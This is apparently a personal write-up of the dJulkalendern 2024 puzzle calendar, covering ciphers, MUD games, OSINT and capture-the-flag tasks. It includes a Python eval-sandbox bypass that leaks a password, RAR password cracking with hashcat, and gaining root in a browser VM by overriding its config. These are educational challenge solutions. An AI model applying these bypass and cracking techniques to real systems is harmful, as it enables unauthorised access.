Post

dJulkalendern 2024 Write-up

dJulkalendern 2024 Write-up

Introduction

December 2024 means another year of dJulkalendern. Similar to last year, a new challenge is released each workday at 12:15 CET.

  • The solution is always a single English word, case-insensitive.
  • Each friday is a Multi-user dungeon (MUD) challenge.
  • Cooperation is forbidden until 14:00 CET the same day.

Overview

Day -1: Ready?

This window, Window -1, is a practice window of sorts. It does not count toward the final score. The solution is the 17th word in the fifth paragraph (sadly enough 1-indexed) Lore Page.

Navigating to the lore section shows the following text

1
2
3
4
5
Protect Our Workshop Workers! Santa stands up for our elves and
all those who make the magic happen. He knows that happy workers
create happy holidays! With Santa as our leader, we'll ensure fair
wages, safe working conditions, and a supportive environment for
everyone in our North Pole family.

The flag thus being magic.

Day 2: Just a Småstad duck

The first challenge gives us a set of characters on an image similar to an inkblot/Rorschach test. The image is shown below.

InkBlob

Reading from left to right, we can make out the characters Y, S, J, D, S, F, V.

The text describes.

“Hmm, not quite. Try to look at it from a different perspective. Get to the root of it.”

root being a big red-herring here, and has nothing to do with getting the square- or cube-root from Charcode/Unicode/A1Z26 values. It has an o extra. The solution is to ROT.

We employ CyberChef’s ROT13 Operation with the amount 8 to get.

\[ROT_8(\text{YSJDSFV}) = \text{GARLAND}\]

The flag thus being garland.

Day 3: Huffing up the heat

Today we are given an image depicting a Christmas tree with lights and instructions.

ChristmasTree

  1. ⬅️⬅️➡️⬅️➡️⬅️➡️➡️⬅️⬅️
  2. ⬅️➡️➡️
  3. ⬅️⬅️➡️➡️➡️➡️➡️⬅️➡️⬅️⬅️⬅️⬅️⬅️
  4. ⬅️➡️➡️
  5. ⬅️⬅️⬅️➡️➡️➡️⬅️
  6. ⬅️➡️➡️
  7. ➡️⬅️➡️➡️➡️➡️⬅️➡️⬅️➡️➡️⬅️➡️⬅️⬅️➡️➡️⬅️➡️⬅️➡️➡️➡️➡️➡️⬅️⬅️

The title of the window, Huffing up the heat, is a hint to the solution: Huffman coding.

If we start from the top, and choose each left/right edge according to the instructions, we get the following sequence.

  1. THE
  2. _
  3. WORD
  4. _
  5. IS
  6. _
  7. HORSESHOE

The flag thus being horseshoe.

Day 4: Debatable communication?

The fourth window gives us a long piece of text.

1
2
3
4
5
6
7
8
9
10
11
12
“Beep Boop Boop Boop, if you could describe yourself in one word, what word would that be?” the Moderator-3000-v.2.4 starts off by asking Rudolf.
“*Reindeer Noise*” Rudolf bellows out, followed quickly by more reindeer noises from certain parts of the crowd together with hooves hitting the ground at a rapid pace.
“Boop Boop Beep, with global warming being such a hot topic, how do you suggest we start tackling this problem?” the Moderator-3000-v.2.4 continues by asking Gävlebocken.
“The answer lies in the name. It’s global WARMING, and what is warm, well fire of course. The only solution is better fire safety and regulations” Gävlebocken says while frantically looking around the room for potential Volvos or mysterious german-speaking men.
“Beep Boop Beep Boop, if there is one thing you can change about our wonderful North Pole, what would that be?” the Moderator-3000-v.2.4 asks Frostbyte.
“Oh, that’s an easy one Mr. Moderator-3000-v.2.4 ma’am. No one really likes the cold, so having summer all year round will boost the morale of all North Pole residents. And as an extra, the property prices will increase for our benefit. All we need to sell beach houses at that point is a beach!” Frostbyte answers while sipping on a Piña Colada.
“Beep Boop Beep, now that you have departed from your club of penguins, how will you take that experience into your political stance?” the Moderator-3000-v.2.4 follows up by asking Captain Ada Seafoss.
“With wood, hooks and cloth I will turn our present making process into its next chapter by open sourcing the creation process. I always ‘C’ our children with great joy, as they ‘R’ our future.” Ada answers with a crispy voice.
“Boop?” the Moderator-3000-v.2.4 asks in a highly compressed manner.
“That’s right! I’ll make it better!” XR0304B almost manages to answer before the studio is filled with the sound of cheers and applause. You look around and notice that the noise is more than the audience should be able to accomplish, suspecting that there might be speakers hidden somewhere.
“Beep, you have ruled over the North Pole for a long time Santa, but do you listen to your populace? What is the message I’ve been trying to tell you?” Moderator-3000-v.2.4 asks the final candidate in a slightly menacing voice.
“Objection your…moderator? This is not a fair question to…” dAnkan objects before being wrestled down by security. Before being dragged completely out of the studio, dAnkan manages to throw you an earpiece through which you can communicate with Santa. “Uh, ehh… Well – ho ho ho –, of course I listen! I hear all the wishes of all the children all around the world! You were saying…”

The Beeps and Boops stand out. Probably Morse code, as there is a hint in the text.

You think through the debate as it has elapsed, going over it all again. As the seconds pass by, you hear the audience grow restless and shout insults without remorse, and the stress of Santa’s political campaign makes you nervous, and you don’t work well when you’re nervous. But you take a breath, and try to figure it out.

With morse in remorse being cursive.

To check if this is the answer, we extract all Beeps and Boops, convert the first character to lowercase, trim any whitespace, and replace the Beep and Boop with . and - or - and ..

IndexTrimmed sequence(boop = ., beep = -)From Morse(boop = -, beep = .)From Morse
1beepboopboopboop-...B.---J
2boopboopbeep..-U--.G
3beepboopbeepboop-.-.C.-.-blank
4beepboopbeep-.-K.-.R
5boop.E-T
6beep-T.E

All of this can be done using the Regex, Find / Replace and From MorseCode operations in a recipe on CyberChef

The CyberChef link above includes the recipe in the URL, so you can click it to see the solution.

The flag thus being bucket.

Day 5: Order in the campaign

Today window gives us an image depicting a state-machine. If the text is to be believed, it is a Mealy machine.

Automaton

Without reading too much into the rules. With no input provided, the solution was to follow the (shortest) path [0,1,2,3,..] towards the END that forms a word.

1
START -> c,0 -> h,1 -> i,2 -> m,3 -> n,4 -> e,5 -> y,6 -> END

The flag thus being chimney.

Day 6: The journalistic hivemind

The first friday of december! This means it is a MUD challenge. After connecting with netcat, we are presented with a text-based adventure game. The goal is to find your way to the exit by navigating with the commands n, s, e, w.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    :::::::::  ::::::::::: :::    ::: :::        ::::    ::::  :::    ::: :::::::::
    :+:    :+:     :+:     :+:    :+: :+:        +:+:+: :+:+:+ :+:    :+: :+:    :+:
    +:+    +:+     +:+     +:+    +:+ +:+        +:+ +:+:+ +:+ +:+    +:+ +:+    +:+
    +#+    +:+     +#+     +#+    +:+ +#+        +#+  +:+  +#+ +#+    +:+ +#+    +:+
    +#+    +#+     +#+     +#+    +#+ +#+        +#+       +#+ +#+    +#+ +#+    +#+
    #+#    #+# #+# #+#     #+#    #+# #+#        #+#       #+# #+#    #+# #+#    #+#
    #########   #####       ########  ########## ###       ###  ########  #########
        


Use <help> to list available commands
Use <help command> to get info about <command>
You can use <interact object> to interact with objects surrounded by *asterisks*

Floor 1

1
2
3
4
5
6
7
8
9
10
you are in the starting room of floor 2.

Use <map> to see the map.

If you are stuck, use <restartfloor> to reset all
journalists and beehives.

To the north: BEEHIVE ROOM
To the south: room
To the west: room

With the map being

1
2
3
4
5
6
7
8
9
10
11
12
13
     #####
     # B##
     # @##
     ##JE#
     #####

Legend:
@ marks your current position
E marks the exit
# marks a wall
J marks a journalist
B marks a beehive
! marks the buzzing beehive

After we go north and interact with the beehive, we get the following message.

1
2
3
4
You slap the beehive and insult their mums.
The bees have been enraged and the journalists are drawn to the latest buzz.

The journalists move 1 step for each step you take!!!!.

This means that J moves towards the beehive for each step we take. The solution is to move towards the exit while avoiding the journalists. We do this by going around the path the journalist takes.

  1. go west
  2. go south
  3. go east
  4. go south
  5. go east

We found the exit, which brings us to the next floor.

Floor 2

Floor 2 is a bit more complex, with a larger map.

1
2
3
4
5
6
7
###############
##          #B#
#   #J ##   # #
# #  # B# #   #
# #  ####   ###
#@# B#B   # JE#
###############

I won’t write out the entire path, but the solution is to go towards the first bee-hive to the right of the starting position, interact with it, and avoid all the journalists.

1
2
3
4
5
6
7
###############
##          #B#
#   #  ##   # #
# #J # B#J#   #
# # @####   ###
# # !#B   #  E#
###############

Here you can choose to go south or take a 50/50 chance on what the journalist’s pathfinding algorithm will do by going north or west. Meanwhile, the other journalist is also incoming. After avoiding the first, you can just move back and forth until the path to the exit is clear.

1
2
3
4
5
6
7
8
9
10
11
---------------------------------------
YOU FOUND THE EXIT

You have now conquered the reporters and escaped the press conference.
The word is garlic.
██████╗  █████╗ ██████╗ ██╗     ██╗ █████╗
██╔════╝ ██╔══██╗██╔══██╗██║     ██║██╔══██╗
██║  ██╗ ███████║██████╔╝██║     ██║██║  ╚═╝
██║  ╚██╗██╔══██║██╔══██╗██║     ██║██║  ██╗
╚██████╔╝██║  ██║██║  ██║███████╗██║╚█████╔╝
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝ ╚════╝ 

The flag thus being garlic.

Day 9: Speak ‘friend’ and enter

This window gives us the following string.

1
juy67gdi qep5uixdg8 kif78ctwdh qep5yixdg8 5678fdx pukxbhg76 xdg8ctr0lsz

With the window’s description referring to the name Antonín multiple times.

This first name stand out because of the Latin I with acute character. Googling the name, we find the most noteworthy person with this name to be Antonín Dvořák. This last name is a step further towards a solution. Dvorak is a keyboard layout, made by August Dvorak.

After trying a Keyboard Shift Cipher with the Dvorak layout, I didn’t get any further.

Eventually, I found out that the solution was to

  1. Get an image of a Dvorak keyboard layout
  2. Split the string on space into substrings
  3. Use each substring as a set of coordinates to “trace” or “draw” shapes on the layout.
  4. Each shape reveals a character corresponding to the flag.

What I didn’t expect, is that there is no online tool to do this easily. I couldn’t find a “Visual Keyboard Cipher” or “Keyboard Shape Cipher” tool online.

While I solved the challenge by drawing on a screenshot with KDE’s Spectacle, we can also use a character based approach for this writeup (although it’s kind of finicky).

  1. juy67gdi
    1
    2
    3
    4
    
      `  1  2  3  4  5 [6][7] 8  9  0  [  ]  
        "  ,  .  P [Y] F [G] C  R  L  /  =   
          A  O  E [U][I][D] H  T  N  S  -   
            ;  Q [J] K  X  B  M  W  V  Z
    

    Which gives p.

  2. qep5uixdg8
    1
    2
    3
    4
    
      `  1  2  3  4 [5] 6  7 [8] 9  0  [  ]  
        "  ,  . [P] Y  F [G] C  R  L  /  =   
          A  O [E][U][I][D] H  T  N  S  -   
            ; [Q] J  K [X] B  M  W  V  Z
    

    Which gives h.

  3. kif78ctwdh
    1
    2
    3
    4
    
      `  1  2  3  4  5  6 [7][8] 9  0  [  ]  
        "  ,  .  P  Y [F] G [C] R  L  /  =   
          A  O  E  U [I][D][H][T] N  S  -   
            ;  Q  J [K] X  B  M [W] V  Z
    

    Which gives a.

  4. qep5yixdg8
    1
    2
    3
    4
    
      `  1  2  3  4 [5] 6  7 [8] 9  0  [  ]  
        "  ,  . [P][Y] F [G] C  R  L  /  =   
          A  O [E] U [I][D] H  T  N  S  -   
            ; [Q] J  K [X] B  M  W  V  Z
    

    Which gives n.

  5. 5678fdx
    1
    2
    3
    4
    
      `  1  2  3  4 [5][6][7][8] 9  0  [  ]  
        "  ,  .  P  Y [F] G  C  R  L  /  =   
          A  O  E  U  I [D] H  T  N  S  -   
            ;  Q  J  K [X] B  M  W  V  Z
    

    Which gives t.

  6. pukxbhg76
    1
    2
    3
    4
    
      `  1  2  3  4  5 [6][7] 8  9  0  [  ]  
        "  ,  . [P] Y  F [G] C  R  L  /  =   
          A  O  E [U] I  D [H] T  N  S  -   
            ;  Q  J [K][X][B] M  W  V  Z
    

    Which gives o.

  7. xdg8ctr0lsz
    1
    2
    3
    4
    
      `  1  2  3  4  5  6  7 [8] 9 [0] [  ]  
        "  ,  .  P  Y  F [G][C][R][L] /  =   
          A  O  E  U  I [D] H [T] N [S] -   
            ;  Q  J  K [X] B  M  W  V [Z]
    

    Which gives m.

The flag thus being phantom.

Day 10: Oh deer…

This window gives us a file called newspaper.3dsx. After looking up what a .3dsx file is, we find out that it is a homebrew application for the Nintendo 3DS.

This means we probably need an emulator to run the file. A quick search reveals that Citra is a popular open-source 3DS emulator.

I got the emulator through yay from the Arch Linux User Repository: citra-appimage

1
yay -S citra-appimage

Pro-tip: If it’s about speed, always query your remotes in your package manager. I only checked citra-bin, not citra-appimage. I thus have to admit I also wasted time by compiling it from source first using citra, before realizing that there was a precompiled version available and subsequently cancelling.

Running citra ./newspaper.3dsx in the terminal, an emulator window opens, and we are presented with a game.

Citra

The game is a 2D maze-like puzzle where your cursor clicking on the arrow keys moves the # character in the middle. By traversing to different rooms, the 0 number adds up.

A paragraph in the text gives us a hint.

“I remember!” yells dAnkan, throwing some citrus peels on their game console. “This is Santa’s stables! The reindeers have some particular architectural preferences: dislike old greek traditions like columns and such. Last I remember, Rudolf had room number 14. Let’s load this newspaper into Antonín’s old trusty LemonTM computer to figure out some more.”

We need to find a way to find a sequence to get to room 14. The solution is to traverse the maze in the following order: East -> North -> West.

CitraSolution

Giving us the flag candycanes.

Day 11: Don’t let that sink in

A paragraph in the text gives us the first pointer.

“Someone has broken into my account, changed my posts, made me follow some weird accounts. If I could reply to them now I would disgrace the good name of Santa, so I’ll make myself scarce. You got this! Find the trails these evil birds left and make them pay!” dAnkan yells before slamming the door shut and going for an angry walk. You sit there in front of the LemonTM computer, your orders clear, but you realize something worrying. You don’t even know the name of dAnkan’s account.

This hints towards the fact that this window is completely focused on OSINT (Open Source Intelligence). Especially when we look at the image.

Twitter

With the image depicting X crossing out a bird (i.e. formerly Twitter).

The solution is to search for dAnkan on X. We eventually find an account dAnkan_helper.

One account that dAnkan follows is what3words. what3words is a geocoding system that divides the world into 3m x 3m squares, each with a unique 3-word address. It is similar to a Geohash or the Maidenhead Locator System, just more user-friendly.

This means we have to find 3 words somewhere. If we head to some of dAnkan’s replies, we find three replies that stand out.

It’s great to give toys to children all over the world, but let’s be honest - I wouldn’t mind if Santa brought me one or two or more nice things that make me s m i l e too! #SantaBetterDeliver #IWantPresents #Christmas

Now, e v e r y b o d y can experience what it’s like to have my skills and really feel what it’s like to be a detective.🕵️‍♂️🔍 #dAnkanDetective #Investigations #SmartDuck

Christmas is the best because it’s all about me b e i n g spoiled with good food, gifts, and cozy vibes.🎄🎁🎅 #Santa #Christmas #GiftsForMe

I added the bolding on the words myself for readability/emphasis.

The words thus being smile, everybody, and being.

We now have to try to find the right order. We have \(3! = 3 \times 2 \times 1 = 6\) possible combinations.

The order https://what3words.com/being.everybody.smile bring us to the peak of one of the pyramids of giza, a wonder of the world.

The flag thus being pyramid.

Day 12: A cluttered mind leads to a cluttered box

This window gives us a file called wrapped_package.zip. After unzipping the file with unzip, we get another zip called package.zip.

Part 1: Getting the rar-archive’s password

If we list the contents of this file with unzip -l package.zip, we get the following output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unzip -l package.zip 
Archive:  package.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       41  2024-12-24 12:15   cards.dek
       66  2015-12-24 12:15   code.hs
       75  2023-12-24 12:15   dJulkalendern.erl
    41086  2021-12-24 12:15   image.ico
       52  2016-12-24 12:15   macro.ahk
      281  2020-12-24 12:15   notes.nbs
     1085  2019-12-24 12:15   object.o
  1461775  2017-12-24 12:15   SECRETS.rar
     9480  2018-12-24 12:15   sound.mp3
---------                     -------
  1513941                     9 files

The contents of the file all refer to some kind of programming language.

  • code.hs is a Haskell file.
  • dJulkalendern.erl is an Erlang file.
  • object.o is an object file, probably from C or C++.
  • macro.ahk is an AutoHotKey file.
  • notes.nbs is a file from the Minecraft Note Block Studio.
  • image.ico is an icon file.
  • sound.mp3 is an audio file.
  • cards.dek is a deck file, from Magic: The Gathering.

While it was fun to look at the contents (all showing or printing the character ‘D’, or having morse code for ‘D’), they didn’t have any bearing on the solution.

If we list the contents of the SECRETS.rar file, we get the following output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ unrar l SECRETS.rar 

UNRAR 7.10 beta 2 freeware      Copyright (c) 1993-2024 Alexander Roshal

Archive: SECRETS.rar
Details: RAR 5

 Attributes      Size     Date    Time   Name
----------- ---------  ---------- -----  ----
*   ..A....     10020  2024-12-13 12:15  blocks.txt
*   ..A....       718  2024-12-11 16:54  CHALLENGE.txt
*   ..A....   1555633  2024-12-13 12:15  poster.png
----------- ---------  ---------- -----  ----
              1566371                    3

However, we find that the files within SECRETS.rar are password-protected.

Wasted time: Timeboxed, I tried to brute-force the password using rar2john -> hashcat with rockyou.txt and an english dictionary. Spoiler alert: Didn’t work out. The password was not in the dictionaries.

The following paragraph in the text gives us a hint.

“Hmm… That might work, but we’ll have to be careful of the details here. Make sure we do things in the right order, and heed any signs within it.

“But what about those extensions?” you ask, pointing to some weird protrusions on the package.

“Eh, they might be important. We could look at the start of them to begin with, but I bet this thing has more layers than we expect,” answers dAnkan while carefully taking the package off the wall.

This hints towards the first character of the file extensions.

1
d h e i a n o r m

You also, apparently, had to make the logical leap that the first character from package.zip must be included.

1
z d h e i a n o r m

I personally used an anagram solver to find the word harmonized, but the correct way was to sort the characters by the corresponding file’s Modified Date. I was at the office and did this part on Windows initially. It may have overwitten the Modified Date.

1
2
3
4
5
6
7
8
9
10
11
12
13
  Length   SortedDate Time    Name             Extension[0]
---------  ---------- -----   ----             ------------
       66  2015-12-24 12:15   code.hs               h
       52  2016-12-24 12:15   macro.ahk             a
  1461775  2017-12-24 12:15   SECRETS.rar           r
     9480  2018-12-24 12:15   sound.mp3             m
     1085  2019-12-24 12:15   object.o              o
      281  2020-12-24 12:15   notes.nbs             n
    41086  2021-12-24 12:15   image.ico             i
  1471323  2022-12-24 12:15   package.zip           z
       75  2023-12-24 12:15   dJulkalendern.erl     e
       41  2024-12-24 12:15   cards.dek             d
---------                     -------

The password for the SECRETS.rar file thus being harmonized.

Part 2: Extracting the contents of the rar-archive, and finding the flag

If we extract the contents of the SECRETS.rar file with unrar x SECRETS.rar, we find that all files have the same password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ unrar e SECRETS.rar 

UNRAR 7.10 beta 2 freeware      Copyright (c) 1993-2024 Alexander Roshal

Extracting from SECRETS.rar

Enter password (will not be echoed) for blocks.txt: 

Extracting  blocks.txt                                                OK 
CHALLENGE.txt - use current password? [Y]es, [N]o, [A]ll Y

Extracting  CHALLENGE.txt                                             OK 
poster.png - use current password? [Y]es, [N]o, [A]ll Y

Extracting  poster.png                                                OK 
All OK

If we cat the contents of the CHALLENGE.txt file, we get the following text.

Hello dAnkan. I want to play a game. I want Santa to drop out of the race. That would be a good game I think. But it would be too simple, so I supply you with two other games as well. For the first one, you notice that I have stolen your dear Santa poster. Not only that, but I have also changed it in a not-so-significant way. Cracking my stew should be a bit satisfying. Now, should you do this, I will be content. However, I also have a second game which it would bemuse me for you to solve. I have expanded my secret so that you can no longer see it. Each line of eight blocks has been made longer, but how? I’ve given you all the blocks you need, dAnkan, now it is up to you to slice them to the same length.

The hint in the text is the phrase not-so-significant way. This hints towards the poster.png file being altered with Least Significant Bit (LSB) steganography. LSB is a technique used to hide information in an image by replacing the least significant bit of each pixel with the data to be hidden.

The image is shown below.

Poster

If we extract the LSB from the image using CyberChef’s Extract LSB operation using RGB, we get a 3252440 long string of text that starts with 64037a31cae3aa224737c3dcdfb7bd46.

CyberCheffing

This looks like a hash. If we try to crack it using CrackStation, we get the following result.

HashTypeResult
64037a31cae3aa224737c3dcdfb7bd46md5variation

The flag thus being variation.

Bonus: blocks.txt

Another way to solve the challenge is to look at the blocks.txt file. The text file contained a series of 1s and 0s, with each line having a different length.

The hints are in the text.

I have expanded my secret so that you can no longer see it. Each line of eight blocks has been made longer, but how? I’ve given you all the blocks you need, dAnkan, now it is up to you to slice them to the same length.

The solution was to “decode” the data by skipping characters based on the length of each line.

  1. First, calculate the skip interval for each line based on the length of the line.

    \[\text{delta} = \left\lfloor \frac{\text{len(line)}}{8} \right\rfloor\]

    For each line, this tells you how frequently to pick characters: every delta-th character.

  2. After skipping the characters, the remaining 1s were replaced with a block character (e.g., #), and the 0s were replaced with a space or dot (e.g., .) for readability. This would then print variation vertically.

Day 13: Achoo-coresick

Another friday, another MUD. After connecting with netcat, we are presented with a list of characters we can go to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
To the a: a
To the b: b
To the c: c
To the d: d
To the e: e
To the f: f
To the h: h
To the i: i
To the k: k
To the l: l
To the m: m
To the n: n
To the o: o
To the p: p
To the q: q
To the r: r
To the s: s
To the t: t
To the u: u
To the v: v
To the w: w
To the suffix: root

While the text mentions

Walking over to the LemonTM computer, moving a couple microphones and a webcam out of the way you pour some of the proverheadphonestatemplatestimony into the USB slot to load it into an analyzer program, and look through it stringently.

When we type go p, we get the following output.

1
2
3
4
5
To the a: pa
To the e: pe
To the i: pi
To the o: po
To the suffix: root

This means that, by traversing the tree, we get a set of words starting with those characters.

I first tried to search words in proverheadphonestatemplatestimony, checking if there are any available in the tree. That was a starting point for more clues. When I hit nest after headphones , I got the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
---------------------------------------
You are on the word nest!!!!

YOU FOUND THE SECRET PASSWROD!!!!
THE WORD IS   "aspect"

 █████╗  ██████╗██████╗ ███████╗ █████╗ ████████╗
██╔══██╗██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝
███████║╚█████╗ ██████╔╝█████╗  ██║  ╚═╝   ██║   
██╔══██║ ╚═══██╗██╔═══╝ ██╔══╝  ██║  ██╗   ██║   
██║  ██║██████╔╝██║     ███████╗╚█████╔╝   ██║   
╚═╝  ╚═╝╚═════╝ ╚═╝     ╚══════╝ ╚════╝    ╚═╝   

To the suffix: st

However, I didn’t exactly know why I got it.

After getting the answer I got access to the Discord channel with other people that solved it. Here, Aho-Corasick algorithm was mentioned. This algorithm is a string-searching algorithm that constructs a finite state machine from a set of patterns.

To follow this algorithm, we had to repeat the following sequence:

  1. Follow the string from left-to-right
  2. go to the next character
  3. If it’s not available, go back to the suffix.

The flag thus being aspect.

Day 16: Freedom of (math) expression

Today’s window we are given a netcat link.

1
Welcome to VotingMachineKernel (VMK) Moderator-3000 v2.4.0-riscv72 SMP PREEMPT_DYNAMIC v2.4 Mon 16 dec 11:14:59 UTC 2024 GANOO/VMK (write help for help)

After giving the command help, we get the following output.

1
2
3
4
5
help
blud needs help 💀💀, ok.
source command gives source!
Сигма Сигма Бой Сигма Бой Сигма Бой!!!!
Каждая девчонка хочет танцевать с тобой!!!!!

Where Сигма Сигма Бой Сигма Бой Сигма Бой!!!! is a reference to the song Sigma Boy

We get the following source code when typing source.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from sigmaboy import secret
import secrets
import string

password = "".join(
    secrets.choice(string.ascii_letters + string.digits) for _ in range(11)
)

blacklist = "0123456789()/-$\"'{}_*`."

print("Welcome to VotingMachineKernel (VMK) Moderator-3000 v2.4.0-riscv72 SMP PREEMPT_DYNAMIC v2.4 Mon 16 dec 11:14:59 UTC 2024 GANOO/VMK (write help for help)")

while True:
    inp = input("-> ")

    if inp == "help":
        print(
            "blud needs help 💀💀, ok.\nsource command gives source!\nСигма Сигма Бой Сигма Бой Сигма Бой!!!!\nКаждая девчонка хочет танцевать с тобой!!!!!"
        )
        continue

    if inp.split()[0] == "auth":
        if len(inp.split()) != 2:
            print("blud is confused 🤯 usage: auth <password>")
            continue

        if inp.split()[1] == password:
            print(
                f"blud is authenticated 🥙🥙🥙. note to self: the most Сигма word in the world is {secret}"
            )
        else:
            print("blud is not authenticated 🍔🍔🍔 WRONG PASSWORD not very Сигма")

        continue

    if inp == "source":
        print(open(__file__, "r").read())
        continue

    if inp == "exit":
        print("blud gave up 🤡, connection closed")
        break

    if len(inp) > 30:
        print("blud is too wordy 🤓")
        continue

    if any(c in inp for c in blacklist):
        print("blud types scari stuff 🍻")
        continue

    ## im to lazy to implement all commands so i'll just let python handle the rest
    try:
        output = str(eval(inp, {"__builtins__": {}, "password": password}))
        print(output[0])
    except:
        print("blud types invalid stuff 👽")

We learn from the code that

  1. The password is generated by the secrets module, and the secret is imported from the sigmaboy module.
  2. The line if inp.split()[1] == password: tells us that we need to use the auth command with the secret
  3. The blacklist variable tells us that we can’t use the characters 0123456789()/-$"'{}_*\
  4. The eval function is used to evaluate the input, and the output is printed.
  5. eval will only print the first character of the output.
  6. Anything that is not a command will be fed into the eval function.
  7. We cannot use more than 30 characters in a command.

So the first thing we try is password, obviously, to get the first character of the password.

1
2
-> password
w

Knowing that we can only get one character at a time and with the limitation of the blacklist, is there a way we can get the next character? Does Python have other means to write password[1]?

Searching for restricted character set posts in Python on codegolf.stackexchange.com gave us the following post: https://codegolf.stackexchange.com/a/209735

  • Since True evaluates to 1 and False evaluates to 0, we can use the following commands to get the next character, until we hit the 30-character limit.
  • We can use : to slice the string, and + to concatenate strings.
  • The blacklist doesn’t contain + or :, or bitwise operators like &, |, ^, ~, <<, >>, or **.
    • We can use << to shift bits to the left, and | to do a bitwise OR operation to get our desired digit.
    • We can use ~ to do bitwise NOT operation, evaluating ~True to -2 and ~False to -1.
indexcommandlengthoutput
0password8w
1password[True]14A
2password[True+True]19j
3password[True+True+True]24z
4password[True+True+True+True]29o
5password[True+True«True|True]30o
6password[True+True+True<<True]30I
7password[~True<<True]21U
8password[~True«True|True]26p
9password[~True]15L
10password[~False]16b

The password is generated on every netcat connection, so the password will be different every time.

Giving the full output wAjzooIUpLb to the auth command outputs the following.

1
2
auth wAjzooIUpLb
blud is authenticated 🥙🥙🥙. note to self: the most Сигма word in the world is nutcracker

The flag thus being nutcracker.

Day 17: You ‘R a Pirate Harry

This window links us to a https://rb.djul.se/, which is hosting a JS Linux terminal

JS Linux

While the text mentions

“Nono, I found these weird files. It’s difficult to see exactly what it is right here, it would be easier if I could download it or something, the emulator on the Moderator-3000-v.2.4 is quite ancient. But I’m sure there are some secrets here that I can extract, and then some secret within that secret which I need to find somehow, otherwise why would they hide it under ‘Political leverage’. Gimme a sec, or fifteen minutes, while I try and figure this out!” you tell dAnkan while typing away into the terminal.

If we do ls, we find message.txt. With cat message.txt, we get the following output.

1
2
you may need to think (or look) outside the box for this one
ps: everything is running solely in your browser, use that to your advantage ;)

We see the following files downloaded when we visit the page

DownloadedFiles

Especially root-riscv64.cfg is interesting

1
2
3
4
5
6
7
8
9
10
11
12
/* VM configuration file */
{
    version: 1,
    machine: "riscv64",
    memory_size: 128,
    bios: "bbl64.bin",
    kernel: "kernel-riscv64.bin",
    cmdline: "console=hvc0 root=/dev/vda rw init=/bin/su - djul",
    /* drive0: { file: "root-riscv64.ext2" }, whole filesystem, not used rn */
    drive0: { file: "root-riscv64/blk.txt" }, /* chunked filesystem for performance */
    eth0: { driver: "user" },
}

The commented out line drive0: { file: "root-riscv64.ext2" }, whole filesystem, not used rn hints that we should look at acquiring this file by straight up downloading it. If we navigate to https://rb.djul.se/root-riscv64.ext2, we get the ext2 file and can mount the filesystem.

1
2
3
$ sudo mkdir /mnt/ext2fs
$ sudo mount -o loop root-riscv64.ext2 /mnt/ext2fs
$ cd /mnt/ext2fs

From here we can look at every file as root locally, or change permissions using sudo chmod u+r <file>.

After some digging, the file named secret in root looks interesting. If we run file secret, we get the following output.

1
secret: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), statically linked, for GNU/Linux 4.15.0, stripped

This means that the file is an executable file for a RISC-V architecture (similar to the JS Linux terminal we are using). We have two strategies

  • Run it locally using a RISC-V emulator
  • Gain superuser access on the JS Linux terminal and run it there

Without knowing how to gain superuser access, we can try to run it locally. We can use qemu to run the file.

  1. sudo pacman -S qemu qemu-user qemu-user-static
  2. Run the file with qemu-riscv64 ./secret

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
                ___
              /`   `'.
             /   _..---;
             |  /__..._/  .--.-.
             |.'  e e | ___\_|/____
            (_)'--.o.--|    | |    |
           .-( `-' = `-|____| |____|
          /  (         |____   ____|
          |   (        |_   | |  __|
          |    '-.--';/'/__ | | (  `|
          |      '.   \    );--`\ /
          \        ;   |--'    `;.-'
          |`-.__ ..-'--'`;..--'`
        
     Ho ho ho!
     Would you like a present, my friend?
     (y/n) > y
     Ho ho ho! But first, you have to tell me the secret word!
     Secret word > 
    

    Darn, we need to find the secret word. Can we find it in the file using strings?

  3. strings ./secret > out.txt && code out.txt
  4. Searched for secret in VS Code. Found the following excerpt.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
     Ho ho ho!
     Would you like a present, my friend?
     (y/n) >
     Oh, what a pity!
     Ho ho ho! But first, you have to tell me the secret word!
     Secret word >
     %99s
     gobbledygook
     Ho ho ho, close one!
     Ho ho ho! You got the word, but you wont get any presents until christmas! ;)
    
  5. After trying gobbledygook when running the file with qemu-riscv64 ./secret, we get the following output.

    1
    2
    3
    4
    5
    6
    
     Ho ho ho!
     Would you like a present, my friend?
     (y/n) > y
     Ho ho ho! But first, you have to tell me the secret word!
     Secret word > gobbledygook    
     Ho ho ho! You got the word, but you wont get any presents until christmas! ;)
    

The flag itself thus being gobbledygook.

Bonus: Gaining superuser access on the JS Linux terminal

What about the other option of gaining superuser access on the JS Linux terminal?

If we look at the root-riscv64.cfg file, we see that the init command is /bin/su - djul. If we can somehow override this and execute /bin/su - root, we can gain superuser access.

This can be done using Chrome’s Developer Tools.

  1. Open the Developer Tools by pressing F12.
  2. Go to the network tab where the file root-riscv64.cfg is loaded.
  3. Right-click on the file and select ‘Override content’. OverrideContent
  4. Change the init command to /bin/su - root.
  5. Save the changes with Ctrl + S
  6. Reload the page.

Now you can run the secret file as root in the JS Linux terminal. However, finding the flag with strings will be a bit more tedious/slower when emulated.

Day 18: Giving gifts and paying loads

Today we are given a file called server-dist.tar.gz and a link https://cparta.djul.se/ that displays a twitter-like shared feed.

TwitterFeed

Everything we post is visible to everyone. Some input testing also revealed that the message cannot exceed 280 characters.

If we extract the tarball with tar -xvf server-dist.tar.gz, we get the following files.

1
2
3
4
5
6
7
8
9
server/app.py
server/docker-compose.yml
server/Dockerfile
server/flag
server/requirements.txt
server/static/
server/static/style.css
server/templates/
server/templates/index.html

Where, app.py is the main server Flask server file

1
2
3
4
5
6
7
8
9
